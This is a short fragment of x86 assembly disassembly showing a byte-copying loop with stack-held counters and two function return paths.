jmp 0x456524
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x456524
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4564c0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x4564b1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret